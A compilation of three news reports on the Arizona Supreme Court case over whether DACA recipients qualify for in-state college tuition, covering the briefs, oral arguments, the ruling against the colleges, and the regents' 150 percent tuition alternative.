State justices skeptical of ‘dreamers’ tuition arguments

A claim that “dreamers” are entitled to the same lower tuition as other Arizona residents drew a skeptical response Monday by several justices of the state Supreme Court.

Attorney Mary O’Grady who represents the Maricopa community colleges, argued that students in the Deferred Action for Childhood Arrivals program have the federal government’s “authorization” to be in this country.

“They may live here, they may work here, they go to school here,” she told the high court. “Through DACA, the federal government has authorized these students to continue their productive lives here in this country.”

But the justices said it’s nowhere near as clear as O’Grady suggests.

What is clear is that the Obama administration in 2012 said those who had arrived as children and met other qualifications could remain. They also were issued Employment Authorization Documents.”

But Justice Clint Bolick said it’s not that simple.

“As I understand it, Congress has exclusive authority over immigration,” he said. And Bolick said even the Department of Homeland Security has taken the position that “it cannot and has not provided a legal status to the DACA students.”

What’s missing, he said, is express congressional authorization.

O’Grady countered that federal law has defined “lawful presence.” And she said that federal law does give the administration the power to decide who can stay without fear of deportation.

“We acknowledge that they don’t have the formal immigration status that is referred to in the (federal government’s) DACA memo,” O’Grady said. “But Congress has acknowledged and courts have acknowledged the executive’s authority under immigration law to give deferred action, to let people remain here, to give them the authority to work here.”

That question of the breadth of that executive authority — and the absence of congressional action — could ultimately determine how much thousands of students pay for higher education. That includes not only those at the Maricopa colleges but also other community college systems in Arizona and the state university system that also offer in-state tuition to DACA recipients who meet other residency requirement.

A 2006 voter-approved law spells out that any person who is not a U.S. citizen or “legal resident” or is “without lawful immigration status” is ineligible to be charged the same tuition at state colleges and universities available to residents.

When the governing board of the Maricopa colleges concluded the DACA status qualified students for in-state tuition, Tom Horne, then the attorney general, filed suit.

A trial judge sided with the colleges, concluding those in the program were here with the blessing of the federal government. The Board of Regents then implemented a similar policy for the state’s three universities.

But the Court of Appeals ruled otherwise, sending the case, now being pursued by Attorney General Mark Brnovich, to the state’s high court.

During Monday’s hearing Bolick clearly had problems with O’Grady’s contention that the government’s decision to let the dreamers stay amounts to lawful presence.

For example, he said a police officer might see him driving over the speed limit but decide not to write him a ticket. Bolick said that decision not to pursue legal action did not make his driving legal.

It’s not just state law that O’Grady is fighting.

There also is language in federal immigration law that says state have to act affirmatively to grant benefits like in-state tuition for those not here legally. Appellate Judge Philip Espinosa, sitting in on Monday’s arguments, said there has been no such action by the Legislature.

O’Grady, however, told the justices that doesn’t end the matter.

“It’s not always the Legislature making a decision on tuition,” she said, saying “other bodies” are entitled to make such decisions, like the Maricopa colleges governing board.

But Assistant Attorney General Rusty Crandell said the 2006 ballot measure could be seen as the state acting absolutely in the reverse, specifically rejecting the idea of resident tuition for dreamers.

The justices gave no indication when they will rule.

All this could become legally moot if the Trump administration is successful in its efforts to rescind DACA. So far, though, that move has been blocked by a federal court, with the U.S. Supreme Court not interested in interceding, at least not yet.

“If DACA no longer exists and people are still here, they’re no longer lawfully present, no longer eligible for resident tuition,” O’Grady acknowledged.

There is some possibility that the court, even if it voids resident tuition for DACA recipients, could give them some temporary relief.

The justices were interested in knowing whether the Maricopa colleges had set tuition yet for the coming year. That could indicate that they would make any decision denying in-state tuition prospective only and only applicable when future tuition rates are set.

‘Dreamers’ lose at state Supreme Court

Thousands of dreamers are going to have to pay more next year if they want to attend any of the state’s three universities or community colleges.

In a brief order Monday, the Arizona Supreme Court ruled that it is illegal to allow those in the Deferred Action for Childhood Arrivals program to pay the same tuition as other state residents.

Monday’s order is not a major surprise. During a court hearing last week the justices had a series of pointed questions for Mary O’Grady, who was defending the policy enacted by the Maricopa Community Colleges of permitting dreamers to pay in-state tuition.

What is surprising is the speed at which the seven-member court reached a conclusion. But the justices had hinted at their desire for some finality on the issue, and soon, noting that the colleges and universities were currently setting tuition for the coming school year.

Despite Monday’s order, there may still be some financial help of sorts for DACA recipients, at least at the state university system.

The Board of Regents already has a policy on the books, established before the universities begin charging resident tuition, that sets charges at 150 percent of the in-state rate for any student who graduated from an Arizona high school after attending school here for at least three years.

That policy was crafted by Regent Jay Heiler. He said that does not run afoul of the 2006 voter-approved law at issue in the case before the Supreme Court which spells out that any person who is not a U.S. citizen or “legal resident” or is “without lawful immigration status” is ineligible to be charged the same tuition at state colleges and universities available to residents.

More to the point, Heiler said that 150 percent figure appears to cover the actual cost of instruction. And that, he said, means the state and its taxpayers would not be illegally subsidizing the cost of education for dreamers.

That would still be a financial hit for those affected, pushing undergraduate tuition at the University of Arizona, for example, above $18,000. By contrast, tuition and mandatory fees for those who started at UA last year is $12,228.

It is still far better, however, than what it would cost if these students were forced to pay full out-of-state tuition of more than $32,000.

But this policy, if enacted, could result in further litigation.

First, the policy requires that the student be “lawfully present” in Arizona.

That is a different legal standard than the 2006 law which deals with “lawful immigration status.” But Regents Chairman Bill Ridenour, who is an attorney, said he believes that DACA recipients are, in fact, lawfully present.

That comes down to the nature of DACA.

Instituted by the Obama administration, it allows those who arrived in this country illegally as children to remain if they meet certain other conditions. Aside from exempting them from fear of deportation, it also allows them to work in this country legally.

That provides some basis for Ridenour’s belief that dreamers will qualify.

For example, there is a list of frequently asked questions about DACA published by the U.S. Citizenship and Immigration Services, a branch of the Department of Homeland Security.

“An individual who has received deferred action is authorized by DHS to be present in the United States,” the document says.

There also is a state law that lists the documents that satisfy a person’s obligation to prove he or she is lawfully present in this country. That includes “a United States citizenship and immigration services employment authorization document” — precisely the document issued to DACA recipients.

Where it all fell apart was the attempt by O’Grady, in defending in-state tuition for dreamers, to convince the Supreme Court that “lawful presence” means the same thing as “lawful immigration status,” the language used in the 2006 law to deny in-state tuition to dreamers.

The legal fight started shortly after the DACA program was instituted. The Maricopa colleges governing board, depending on those employment authorization documents, voted to allow DACA recipients to attend paying in-state tuition.

Tom Horne, then the attorney general, filed suit.

In 2015, Maricopa County Superior Court Judge Arthur Anderson sided with the colleges, citing those employment documents.

Based on that ruling, the regents followed suit and instituted their own policy allowing DACA recipients to pay in-state tuition. Other community colleges also have instituted similar policies.

The Court of Appeals, however, said the 2006 ballot measure is limited solely to those with “lawful immigration status.”

Appellate Judge Kenton Jones, writing for the court, said the decisions by the Obama administration to let those who arrived in this country illegally as children to remain and work “do not translate into the recipients eligibility for in-state tuition or other state or local public benefits.”

It is that ruling the Supreme Court upheld on Monday.

Ridenour said there is a simple answer for the whole problem: having Congress take action on a plan that would provide lawful immigration status to DACA recipients.

‘Dreamers’ tuition case turns on conflicts over definitions

The question of how much it will cost “dreamers” to get a higher education in Arizona could turn on who the state Supreme Court decides is in this country with “lawful immigration status.”

In new legal filings, the attorney for the Maricopa community colleges told the justices that phrase is the same as “lawful presence.” Mary O’Grady said those in the Deferred Action for Childhood Arrivals program fit that definition because the Department of Homeland Security has — at least for the moment — allowed them to not only remain without fear of deportation but also to work.

But Attorney General Mark Brnovich, in his own new legal briefs, contends that acceptance into the DACA program does not translate into being in this country legally.

All that is important because Proposition 300, approved by voters in 2006, specifically says that anyone who is not a citizen or legal resident or who is “without lawful immigration status is not entitled to classification as an in-state student.”

Brnovich contends — and the Court of Appeals agreed — that does not entitle dreamers to pay the lower tuition being charged by the Maricopa colleges, some other community colleges and the state university system. The Supreme Court has agreed to hear arguments early next month and reach its own conclusion.

In some ways the fight is less about the law and more about who gets to define what some words mean.

O’Grady points out that Proposition 300 doesn’t actually have a definition of “lawful immigration status.”

Instead, she said, it makes a reference to the 1996 federal Illegal Immigrant Reform and Immigrant Responsibility Act. And that law talks about those who are not “lawfully present” in this country.

She also noted that another provision of Proposition 300 requires colleges and universities to report students who are denied financial assistance because they were “not lawfully present.”

What makes that significant, O’Grady argues, is DACA.

That program, approved by the Obama administration in 2012, specifically allows those in the program to not only remain without fear of deportation but also to be issued Employment Authorization Documents entitling them to work here.

“Because DACA recipients’ stays in the United States are authorized by the Department of Homeland Security while they are in the DACA program, they are lawfully present under this statutory definition,” O’Grady wrote. And that, in turn, allows them to attend community colleges and universities paying only in-state tuition if they meet other residency requirements.

Brnovich, for his part, urged the justices to reject what he sees as a stretch in verbiage.

He told the justices that the key elements of the 2006 law limit in-state tuition to only those with “lawful immigration status.” And Brnovich said they should not accept O’Grady’s bid to conflate that phrase “lawful presence.”

“If Proposition 300 is to be rewritten in the name of absurdity, the substantive provisions should control the reporting provisions — not the other way around,” he said.

What the justices decide ultimately will affect more than the Maricopa colleges who were sued in 2013 by Tom Horne, Brnovich’s predecessor, after the board concluded that DACA recipients, by virtue of the EADs they possess, are entitled to the presumption of being here legally.

Two years later, Maricopa County Superior Court Judge Arthur Anderson sided with the colleges. That, in turn, spurred the Arizona Board of Regents to establish a similar policy.

At last count, about 300 dreamers are attending one of the state’s three universities while paying in-state tuition.

The difference in costs is significant.

At the University of Arizona, for example, current tuition and mandatory fees for new students this year is $12,228 for those who qualify as residents. The figure for new out-of-state students is $35,658.

Pima Community College also now offers in-state tuition to DACA recipients.

In her legal arguments, O’Grady conceded that one argument presented to voters in 2006 to approve Proposition 300 was that the state should not be subsidizing the education of individuals brought to this country illegally as children. And she said that when the measure became law, even the Maricopa colleges never argued for in-state tuition.

But O’Grady said all that is now irrelevant because DACA did not exist in 2006, repeating her contention that those in the program are “here with the approval of the United States.”